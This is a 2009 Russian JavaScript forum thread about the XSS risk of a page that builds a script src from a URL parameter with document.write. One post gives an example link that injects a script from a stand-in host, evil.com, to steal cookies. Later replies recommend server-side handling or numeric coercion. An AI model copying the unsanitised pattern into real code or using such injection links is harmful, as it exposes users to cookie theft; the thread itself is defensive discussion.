Javascript-форум (https://javascript.ru/forum/)
-   Общие вопросы Javascript (https://javascript.ru/forum/misc/)
-   -   Загрузка внешнего скрипта... (https://javascript.ru/forum/misc/2615-zagruzka-vneshnego-skripta.html)

viliv 23.01.2009 17:25

Цитата:

Сообщение от ZoNT (Сообщение 11267)
xss - межсайтовый скриптинг.
Почему плохо:
www.name.ru/index.htm?http://www.evil.com/script
И всё... По этой ссылке на твою страничку вставится скрипт http://www.evil.com/script.js и сделает что угодно (сворует куки, покажет порнорекламу и т.д.)

но моя страница index.htm откроет скрипт только с моего сайта... если я его пропишу - document.write('<script TYPE="text/javascript" src="www.name.ru/'+url+'.js">

ZoNT 23.01.2009 17:33

способ вставить свою ссылку всё равно есть, ты уже открыл окно для xss, так что это только вопрос времени (которого у меня сейчас нет, так как я на работе).

Kolyaj 23.01.2009 17:37

Это на стороне сервера делаться должно. Но имя скрипта в урле передавать все равно не надо.

viliv 23.01.2009 17:38

Цитата:

Сообщение от ZoNT (Сообщение 11274)
способ вставить свою ссылку всё равно есть, ты уже открыл окно для xss, так что это только вопрос времени (которого у меня сейчас нет, так как я на работе).

у меня в подгружаемом скрипте только данные которые потом обрабатывет втой скрипт. он сразу рагаться будет о ошибку на странице. наверное.

Подгружается скрипт с этим -
Add("1","10001","17","1.000","15.000","1")

ZoNT 23.01.2009 17:41

можно подгружать свой скрипт, а из него подргужать твой и никто ругаться не будет...

viliv 23.01.2009 18:18

Думаю ничего не получиться...

document.write('<script TYPE="text/javascript" src="www.name.ru/'+url+'.js">
www.name.ru/index.htm?http://www.evil.com/script

и что моя страница откроет? www.name.ru/http://www.evil.com/script.js
думаю ругаться будет.
я уже попоробывал открыть другой скрипт, в котором прописал просто открыть нужный мне. и ничего не получилось встроеный в страницу скрипт сразу ругнулся...

ZoNT 23.01.2009 18:21

не бойся, если у тебя не получилось, это не значит что так нельзя...

viliv 23.01.2009 18:41

Цитата:

Сообщение от ZoNT (Сообщение 11287)
не бойся, если у тебя не получилось, это не значит что так нельзя...

да просто если ты в урле укажешь не имя скрипта, а адрес другого, то браузер выдаст - страница не найдена... он не запустит скрипт с другого сервера.

x-yuri 24.01.2009 01:45

viliv, тебе все правильно советуют. Это лучше делать на сервере, с помощью php или что у тебя там. Если данных в целом немного, можно их все подгрузить. Если же ты все-таки хочешь обойтись без серверного языка, то напиши лучше
document.write('<script TYPE="text/javascript" src="'+Number(url)+'.js"><\/script>')

т.е. будет происходить преобразование в число. Ослаблять это ограничение (только числа) опасно
Хотя мне тоже интересно как можно воспользоваться src="www.name.ru/'+url+'.js"
Скорее всего имелось в виду, что плохо заводить такую привычку. Однажды она тебя подведет ;-)

Gvozd 24.01.2009 03:08

Цитата:

Сообщение от x-yuri
Хотя мне тоже интересно как можно воспользоваться src="www.name.ru/'+url+'.js"

в одной из классических статей по взлому mail.ru используется скрипт редиректа, с помощью которого там проводились шикарные вещи
если на name.ru будет неаккуратный редирект серверный где-нить, то хана.
но и помимо этого простор для творчества есть.это ж ведь немного искуство)))


Часовой пояс GMT +3, время: 15:00.